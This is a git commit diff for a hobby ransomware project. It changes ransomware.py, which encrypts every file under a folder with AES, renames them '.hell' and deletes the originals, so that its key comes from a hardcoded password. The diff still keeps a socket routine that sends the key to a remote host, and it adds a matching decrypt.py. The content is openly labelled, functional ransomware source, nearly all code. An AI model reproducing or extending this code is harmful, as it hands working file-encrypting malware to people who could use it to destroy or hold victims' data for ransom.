Changed key generation to the hash of a unique password and added decryption script

decrypt.py

@@ -0,0 +1,54 @@
+import os
+import socket
+import getpass
+import platform
+import hashlib
+from Crypto.Cipher import AES
+from Crypto.Random import get_random_bytes
+from Crypto.Util.Padding import unpad
+
+# Function to encrypt a file and removing the unencrypted one
+def decrypt_file(file, key):
+    enc_file = file
+    with open(enc_file, 'rb') as f:
+        iv = f.read(16)
+        ciphertext = f.read()
+
+    cipher = AES.new(key, AES.MODE_CBC, iv)
+    
+    plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
+    
+    with open(enc_file[:-5], 'wb') as dec_file:
+        dec_file.write(plaintext)
+
+    os.remove(enc_file)
+
+# This will go through the specified folder and encrypt all of the files, even from subfolders
+def decrypt_whole(folder_path, password):
+    key = hashlib.sha256(password.encode()).digest() 
+    iv = get_random_bytes(16)
+
+    for root, _, files in os.walk(folder_path):
+            for file_name in files:
+                file_path = os.path.join(root, file_name)                                 
+                decrypt_file(file_path, key)
+                print(f"Decrypted: {file_path}")
+
+    cwd = os.getcwd()
+    with open("aes-key", "wb") as open_key:
+        open_key.write(key)
+
+# Main function
+# Detects username, assembles path and calls function from above to encrypt
+if __name__ == "__main__":
+    username = getpass.getuser()
+    path = ''
+    
+    if platform.system == "Windows":
+        path = r'C:\Users\%s' % username
+    elif platform.system == "Linux":
+        path = '/home/' + username
+    elif platform.system == "Darwin":
+        path = '/Users/' + username
+    
+    decrypt_whole("/home/hellisabove/test", "hellisabove")

ransomware.py

@@ -2,6 +2,7 @@ import os
 import socket
 import getpass
 import platform
+import hashlib
 from Crypto.Cipher import AES
 from Crypto.Random import get_random_bytes
 from Crypto.Util.Padding import pad
@@ -14,6 +15,7 @@ def send_key(key):
     s.connect((host, port))
     s.send(key)
     print("Key sent")
+    s.send(b"DONE")
     s.shutdown(2)
     s.close()
 
@@ -22,21 +24,20 @@ def encrypt_file(file, key, iv):
     cipher = AES.new(key, AES.MODE_CBC, iv)
     file_name = file
 
-    with open(file, 'rb') as file:
-        plaintext = file.read()
+    with open(file_name, 'rb') as f:
+        plaintext = f.read()
     
     ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
     
     with open(file_name + ".hell", "wb") as enc_file:
         enc_file.write(iv + ciphertext)
 
-    os.remove(file)
+    os.remove(file_name)
 
 # This will go through the specified folder and encrypt all of the files, even from subfolders
-def encrypt_whole(folder_path):
-    key = get_random_bytes(32)
+def encrypt_whole(folder_path, password):
+    key = hashlib.sha256(password.encode()).digest() 
     iv = get_random_bytes(16)
-    send_key(key)
 
     for root, _, files in os.walk(folder_path):
             for file_name in files:
@@ -44,6 +45,10 @@ def encrypt_whole(folder_path):
                 encrypt_file(file_path, key, iv)
                 print(f"Encrypted: {file_path}")
 
+    cwd = os.getcwd()
+    with open("aes-key", "wb") as open_key:
+        open_key.write(key)
+
 # Main function
 # Detects username, assembles path and calls function from above to encrypt
 if __name__ == "__main__":
@@ -57,4 +62,4 @@ if __name__ == "__main__":
     elif platform.system == "Darwin":
         path = '/Users/' + username
     
-    encrypt_whole("/home/hellisabove/test")
+    encrypt_whole("/home/hellisabove/test", "hellisabove")